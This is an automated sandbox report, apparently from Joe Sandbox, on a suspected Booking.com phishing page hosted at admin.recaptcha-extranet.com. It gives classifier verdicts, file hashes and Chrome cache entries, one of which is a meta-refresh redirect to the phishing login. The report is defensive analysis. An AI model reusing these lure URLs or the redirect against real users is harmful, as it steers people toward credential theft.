URL: https://admin.recaptcha-extranet.com/confirm/login/mFtQBHAv Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://admin.recaptcha-extranet.com/sign-in?op_token=hBHCGxejWNfkJKDXTdmOIDAeiDsgWkUkMdsZbJFrpptqaHrvPiEGOseMbwkAyDPWImqWBepiLwXnidRgNzZXcmtyZnjfVPYeVENlyfpOzDSjiHSlRWXaqQOVaExuHLIIAcPYgYIOvUkvCIlbMJxjxNcshYFhzscjPiRtvuAORLdyzXkJxNqjqnaAiYCeyJhdXRoX2F0dH Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://admin.recaptcha-extranet.com/sign-in?op_token=hBHCGxejWNfkJKDXTdmOIDAeiDsgWkUkMdsZbJFrpptqaHrvPiEGOseMbwkAyDPWImqWBepiLwXnidRgNzZXcmtyZnjfVPYeVENlyfpOzDSjiHSlRWXaqQOVaExuHLIIAcPYgYIOvUkvCIlbMJxjxNcshYFhzscjPiRtvuAORLdyzXkJxNqjqnaAiYCeyJhdXRoX2F0dH Model: Joe Sandbox AI	{ "brands": [ "Booking.com" ] }
	{ "brands": [ "Booking.com" ] }
URL: https://admin.recaptcha-extranet.com/sign-in?op_token=hBHCGxejWNfkJKDXTdmOIDAeiDsgWkUkMdsZbJFrpptqaHrvPiEGOseMbwkAyDPWImqWBepiLwXnidRgNzZXcmtyZnjfVPYeVENlyfpOzDSjiHSlRWXaqQOVaExuHLIIAcPYgYIOvUkvCIlbMJxjxNcshYFhzscjPiRtvuAORLdyzXkJxNqjqnaAiYCeyJhdXRoX2F0dH Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "I'm not a robot", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://admin.recaptcha-extranet.com/sign-in?op_token=hBHCGxejWNfkJKDXTdmOIDAeiDsgWkUkMdsZbJFrpptqaHrvPiEGOseMbwkAyDPWImqWBepiLwXnidRgNzZXcmtyZnjfVPYeVENlyfpOzDSjiHSlRWXaqQOVaExuHLIIAcPYgYIOvUkvCIlbMJxjxNcshYFhzscjPiRtvuAORLdyzXkJxNqjqnaAiYCeyJhdXRoX2F0dH Model: Joe Sandbox AI	{ "brands": [ "Booking.com" ] }
	{ "brands": [ "Booking.com" ] }
URL: https://admin.recaptcha-extranet.com/sign-in?op_token=hBHCGxejWNfkJKDXTdmOIDAeiDsgWkUkMdsZbJFrpptqaHrvPiEGOseMbwkAyDPWImqWBepiLwXnidRgNzZXcmtyZnjfVPYeVENlyfpOzDSjiHSlRWXaqQOVaExuHLIIAcPYgYIOvUkvCIlbMJxjxNcshYFhzscjPiRtvuAORLdyzXkJxNqjqnaAiYCeyJhdXRoX2F0dH Model: Joe Sandbox AI	```json{ "legit_domain": "booking.com", "classification": "wellknown", "reasons": [ "The brand 'Booking.com' is well-known and its legitimate domain is 'booking.com'.", "The provided URL 'admin.recaptcha-extranet.com' does not match the legitimate domain of Booking.com.", "The URL contains suspicious elements such as 'recaptcha-extranet', which are not typically associated with Booking.com.", "The use of 'admin' as a subdomain can be a tactic used in phishing to mimic administrative or secure access.", "The domain 'recaptcha-extranet.com' does not have any known association with Booking.com." ], "riskscore": 9} Google indexed: False
URL: admin.recaptcha-extranet.com Brands: Booking.com Input Fields: unknown
URL: https://admin.recaptcha-extranet.com/sign-in?op_token=hBHCGxejWNfkJKDXTdmOIDAeiDsgWkUkMdsZbJFrpptqaHrvPiEGOseMbwkAyDPWImqWBepiLwXnidRgNzZXcmtyZnjfVPYeVENlyfpOzDSjiHSlRWXaqQOVaExuHLIIAcPYgYIOvUkvCIlbMJxjxNcshYFhzscjPiRtvuAORLdyzXkJxNqjqnaAiYCeyJhdXRoX2F0dH Model: Joe Sandbox AI	```json{ "legit_domain": "booking.com", "classification": "wellknown", "reasons": [ "The brand 'Booking.com' is well-known and its legitimate domain is 'booking.com'.", "The URL 'admin.recaptcha-extranet.com' does not match the legitimate domain of Booking.com.", "The domain 'recaptcha-extranet.com' is suspicious as it does not relate to Booking.com and uses a hyphen, which is a common tactic in phishing URLs.", "The use of 'admin' as a subdomain can be misleading and is often used in phishing attempts to imply a secure or official page.", "There is no direct association between the brand Booking.com and the domain 'recaptcha-extranet.com'." ], "riskscore": 9} Google indexed: False
URL: admin.recaptcha-extranet.com Brands: Booking.com Input Fields: unknown

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jan 9 03:14:03 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.997850696874687
Encrypted:	false
SSDEEP:	48:8F8dETp7GlHPidAKZdA1JehwiZUklqehKy+3:8FrEvFy
MD5:	EC567071535E6625EEBCAEB74BCC35B3
SHA1:	E130B16EB8624335234B320E3B3CF4E782F0E226
SHA-256:	6E1D067B06C04C9A59264DC8DA5A00E03A7900C208296A089193A02A24F1E51D
SHA-512:	1ED8B7DD40D58E299E766F236471F6B53AD6E84F87CDCF7C0DCAE0251A76DEA1F89BBFBE7AA36B9994D857298538B06FB1F9CA5B7189CB26C6E408E2D4C89F96
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........Lb......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I)Z.!....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V)Z.!....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V)Z.!....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V)Z.!...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V)Z.!...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........g........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jan 9 03:14:03 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.012612855491259
Encrypted:	false
SSDEEP:	48:8iRE8dETp7GlHPidAKZdA10eh/iZUkAQkqeh1y+2:8FrEF9Qoy
MD5:	3F87F8751864FD1791358BF1BAEB3E18
SHA1:	B47D9311E33AFDA0CFD23DC4E20556F71408A15A
SHA-256:	A01104784C1D0158E815DA2A12DE08D72F6DE4EBD15333702106F019ACCD0BF1
SHA-512:	14CD96E892F27B3DF1838FFAD4040C464A7EAF89CA7BDB224F617202902E818E0A17A209F7CEA16B7BFF7041B3C9E83A8F48F9E9A240BE80A5D92A6C2260153E
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....-...Lb......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I)Z.!....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V)Z.!....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V)Z.!....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V)Z.!...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V)Z.!...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........g........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:54:41 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.0216603010297245
Encrypted:	false
SSDEEP:	48:8e8dETp7GjHPidAKZdA14tIeh7sFiZUkmgqeh7sby+BX:8erEbn5y
MD5:	44A485F7F507B18877970311313DA863
SHA1:	9801014C4D23877ACD72E70A8D3BF2F08DA3D285
SHA-256:	60737DA2C5DAD331F5619E84C52FC6745A5A657AFB88905B8E87854F964E6548
SHA-512:	76FB5EB67425E954265CDD21004F3398D0C6252A71A73B948FB17419D0076C78F134CBDA7838E85E47480798BA62496962E0D9236CAF29C4559D7604B864E245
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....v. ;.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I)Z.!....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V)Z.!....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V)Z.!....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V)Z.!...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VFW.N...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........g........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jan 9 03:14:03 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.009935856643008
Encrypted:	false
SSDEEP:	48:8K8dETp7GlHPidAKZdA1behDiZUkwqehxy+R:8KrE2zy
MD5:	562957E5EA8CCFF610FCEAFEFDDD0CF5
SHA1:	1634CC67A9184A8C591680567C613A5F89EC94CC
SHA-256:	8EF8CF0B27F3A1F0106133A001098208074CE0E206D52BFBAFC90DBF6530F416
SHA-512:	4957ED3941399A630224E983F5A69942E63078E53A0A2F2DB9B49DD9625D4A1BE1E47F0B3D276AF1129F29431FDA1BFE1ED8BA9883227C3029524D3D44C37CD2
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........Lb......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I)Z.!....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V)Z.!....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V)Z.!....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V)Z.!...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V)Z.!...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........g........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jan 9 03:14:03 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9997531588723803
Encrypted:	false
SSDEEP:	48:8Q8dETp7GlHPidAKZdA1VehBiZUk1W1qehPy+C:8QrE29vy
MD5:	B67DE48D489794374FDF8B89CB624F3D
SHA1:	092106B4A2E40F413045365039D6A1E34BF07E95
SHA-256:	C4CF0DEFABFAE2F87C8C4DAA722A4A457BDDB8111E93DF6D6FE528F4D6E3522F
SHA-512:	1102370FF95C4B479713D68A403F09013F11F33434752074D32A07829D9C5036B5B0FA3F0493E1741CC4C7C60D14EF9F77A2A0036213B3B916E3CA46C1656E23
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......Lb......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I)Z.!....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V)Z.!....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V)Z.!....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V)Z.!...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V)Z.!...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........g........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jan 9 03:14:02 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	4.012408326084529
Encrypted:	false
SSDEEP:	48:8W8dETp7GlHPidAKZdA1duT6ehOuTbbiZUk5OjqehOuTb5y+yT+:8WrEkTTTbxWOvTb5y7T
MD5:	30DA1811F10B8C14A537C453184A9558
SHA1:	A17FC1E101B26CE29A312B06A8EA58BBB9483007
SHA-256:	66486B49C6957F69CD4E6CC75AF56BE4F7EAE615FD8412B585CC7AE10FA93CEA
SHA-512:	31B057270C15E212BE5EF48492B1641EF96DE2E94ACB7D4824E625955CC7A0E954BEE335D0085E5B1A53FEDCA795DE089CAAE1B738BD04F1CE5F26F1D79BA527
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....<..Lb......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I)Z.!....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V)Z.!....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V)Z.!....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V)Z.!...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V)Z.!...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........g........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	downloaded
Size (bytes):	47521
Entropy (8bit):	5.398500199255723
Encrypted:	false
SSDEEP:	768:11CQfmIG2Y8rH8zH5ei80aszzQhpd+dr6F/PG2Xv9PL79noBL5o6YBU91KL5Gc05:1a/0H8zH5eJdVplGYv9f96Yjy
MD5:	301F68F3D8317AB22D4021E266C9A853
SHA1:	B464B8B48880C53E9D203A2ACEAF3FDFEC517D97
SHA-256:	BF2059BE7007CD21FDD3B5DF727B89C8916142F7ABADFD46408DE17778699FB7
SHA-512:	1B2C5CABA6A54F6884E8DC40CB31FFDAA56DD3833DE8F97F0843811617207D1DF0ECEF75E9B88F652D42731E6784F6F51A7021FBB1515738DC5DE8E4B90A5682
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/g/849bfe45bf45/api.js?onload=FirmE4&render=explicit
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1197
Entropy (8bit):	5.250746419165476
Encrypted:	false
SSDEEP:	24:2dYwahJhWDCLf3fbeVZmFy6yCXCWX9JVLNpwtbMIhU7C06Fa5QcPm:cyJhbf3fbOKy6yCdtJWWFL6FSQ/
MD5:	E8209D74AD093F151954A3820C12E5D8
SHA1:	12FBF39039F0182026ABAF8B0A22E75C9BB316F7
SHA-256:	C80B9838465A2C5AA19E06C25631CD22D81DD8C76563875EBFB4D35304DFBA47
SHA-512:	4DC04BF54E06A26D78C6D71EAA392059B21EA8A01BF6C6B1EB808F9A01758C18DB18A28A9D74A841B3D5F2249787890944EC94EE0A6D4B2F99042138534800F2
Malicious:	false
Reputation:	low
URL:	https://cf.bstatic.com/static/img/favicon/9ca83ba2a5a3293ff07452cb24949a5843af4592.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>. Lovingly exported by Jess Stubenbord for Booking.com in Amsterdam 16-03-2023 -->.<svg version="1.1" id="bdot-favicon" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 192 192" style="enable-background:new 0 0 192 192;" xml:space="preserve">.<style type="text/css">...squircle{fill:#003B95;}...bdot{fill:#FFFFFF;}.</style>.<path class="squircle" d="M37.8,0h116.5C175.1,0,192,16.9,192,37.8v116.5c0,20.9-16.9,37.8-37.8,37.8H37.8C16.9,192,0,175.1,0,154.2V37.8..C0,16.9,16.9,0,37.8,0z"/>.<g id="bdot-group">..<path class="bdot" d="M144.2,143.8c6.7,0,12.1-5.5,12.1-12.2c0-6.7-5.4-12.2-12.1-12.2c-6.7,0-12.1,5.4-12.1,12.2...C132.1,138.3,137.6,143.8,144.2,143.8z"/>..<path class="bdot" d="M106.7,91.9l-3.1-1.7l2.7-2.3c3.2-2.7,8.4-8.8,8.4-19.3c0-16.1-12.5-26.5-31.8-26.5H60.9h-2.5...c-5.7,0.2-10.3,4.9-10.4,10.6V144h35.4c21.5,0,35.4-11.7,35.4-29.8C118.7,104.4,114.2,96.1,106.7,91.9z M67.6,66c0-4.7,2-7,6.4

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:HEIQL:kh
MD5:	A6FD0B162FB82DAB665FD0C44346F558
SHA1:	E097833D14D58DF26033A916160A935AAFAC37C9
SHA-256:	800C0A33850287FD505475C979F6482241E98EAA136732EA18AABA084B838E15
SHA-512:	13AD2E0568F7F6BD05524CFA1797DC0309E6CDB1AA98C818060DCB2ACA99958DAFAB4A2CF5AE1CEA49367CC4B7A91633DB889B35ACF15ECB85AF461F2F74D593
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSEAnSXB-6EetUOxIFDQzGSa4=?alt=proto
Preview:	CgkKBw0MxkmuGgA=

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	100
Entropy (8bit):	4.780190062937877
Encrypted:	false
SSDEEP:	3:nmNjJMzVJu+1prMLLX4VRGWI4CLAtKILCbK6Gn:GMRJVpG8GP49k2wKl
MD5:	B7C8A3FBE30F617253BE20043B791553
SHA1:	7F76606A2AC1D5711A0AFA43C57E29585BB1EC4C
SHA-256:	EDD57A9B55A1DE90D43275E34D349F704ADD5F48EBC26CB34C3C314068059819
SHA-512:	734F20A92A89AC8717B6495C6225126A82C2C5426D381BFD2103F7C49A640019838DF4AD095D3EA9D3B78E24D2B219DF0BDF93A555BBB7F357C63A38833BFED6
Malicious:	false
Reputation:	low
URL:	https://enterawesome.com/favicon.ico
Preview:	<meta http-equiv="refresh" content="0;https://admin.recaptcha-extranet.com/confirm/login/mFtQBHAv">.

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	5.250746419165476
Encrypted:	false
SSDEEP:	24:2dYwahJhWDCLf3fbeVZmFy6yCXCWX9JVLNpwtbMIhU7C06Fa5QcPm:cyJhbf3fbOKy6yCdtJWWFL6FSQ/
MD5:	E8209D74AD093F151954A3820C12E5D8
SHA1:	12FBF39039F0182026ABAF8B0A22E75C9BB316F7
SHA-256:	C80B9838465A2C5AA19E06C25631CD22D81DD8C76563875EBFB4D35304DFBA47
SHA-512:	4DC04BF54E06A26D78C6D71EAA392059B21EA8A01BF6C6B1EB808F9A01758C18DB18A28A9D74A841B3D5F2249787890944EC94EE0A6D4B2F99042138534800F2
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>. Lovingly exported by Jess Stubenbord for Booking.com in Amsterdam 16-03-2023 -->.<svg version="1.1" id="bdot-favicon" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 192 192" style="enable-background:new 0 0 192 192;" xml:space="preserve">.<style type="text/css">...squircle{fill:#003B95;}...bdot{fill:#FFFFFF;}.</style>.<path class="squircle" d="M37.8,0h116.5C175.1,0,192,16.9,192,37.8v116.5c0,20.9-16.9,37.8-37.8,37.8H37.8C16.9,192,0,175.1,0,154.2V37.8..C0,16.9,16.9,0,37.8,0z"/>.<g id="bdot-group">..<path class="bdot" d="M144.2,143.8c6.7,0,12.1-5.5,12.1-12.2c0-6.7-5.4-12.2-12.1-12.2c-6.7,0-12.1,5.4-12.1,12.2...C132.1,138.3,137.6,143.8,144.2,143.8z"/>..<path class="bdot" d="M106.7,91.9l-3.1-1.7l2.7-2.3c3.2-2.7,8.4-8.8,8.4-19.3c0-16.1-12.5-26.5-31.8-26.5H60.9h-2.5...c-5.7,0.2-10.3,4.9-10.4,10.6V144h35.4c21.5,0,35.4-11.7,35.4-29.8C118.7,104.4,114.2,96.1,106.7,91.9z M67.6,66c0-4.7,2-7,6.4

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	642
Entropy (8bit):	7.485255326893554
Encrypted:	false
SSDEEP:	12:6v/7+FO+DpBBzM22sBdG4llNTJ6yHfbE8/jALtcq4PsesuZtC6mN:5tj2sBdpXlHfw8chcqgsCZxmN
MD5:	41A0E840AA47C87E19D2BFE0B1231C3F
SHA1:	B5F588CA91FC9E67B5EA658C5FF943B0639E57B9
SHA-256:	A333D02EEDDE7A4DD8643D58B0EA7947268A1762F35F517EB6000EC9E7FCFAE8
SHA-512:	8578A788F605BC27B4326EB38417A71E45A05AC885B971C49AC3C7D23F6DDF747F69F2CCF3DF0C461E1C90268247D6959F248D3001518F56888F6D6B8C1CDD2E
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.....`......uPLTE..0<9p..0.'@.....0<:p.s}TS.....a_.HFymk.IFy.;I......yx....HGy..........Wd.........&@...mk.......G^............l.........tRNS...;%j.....IDATH..a..0..`..5..KiA8..S..O.y.....h><..4.......c..0..Pm.v......i...iuo..;..X..H'7LVM.....{..5zM.{.B"-4r[O..L..fw.hY..G...\.@h.U.kS...d.2`{...]i.....Zt@....t.,.z..W..x..........V-lB...S.!...S....U5.....E.+...g..4.....!.?...N..w.7-L[....<j..\|.+r5.u~..a0.<.l..._.h.q..4.....(.>.<.E.I...-t....X.S.77-nX.......^.T.*.....s.m.......~V....Lnz....Y...5......-...\|...{q...'.lN.W.4W]..<.......`!..A......D@...$.....0X.I..1XI.....T....C..@.}....IEND.B`.

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 13 x 80, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.957423270079102
Encrypted:	false
SSDEEP:	3:yionv//thPlovtn/Vn/oyxl/k4E08up:6v/lhPu9n/oy7Tp
MD5:	EC9A8196427F62D90F48CA4E6DCB2959
SHA1:	08F8D9D9BD3F452EB338F3170E276786EE938DBF
SHA-256:	D96BB85DAA65460C14D393180B34BE9B079A0E2AC7F402DB597886C65AC60037
SHA-512:	0280D03FDED1B2F18702FC0DEF42FAD5837005B6CAD074F0688499E6086FFFD4B88ABEDC99A9FD68620B81385244E4E9EA0DC479465E8697C0049B6BF7758F17
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......P.....M.h.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	150
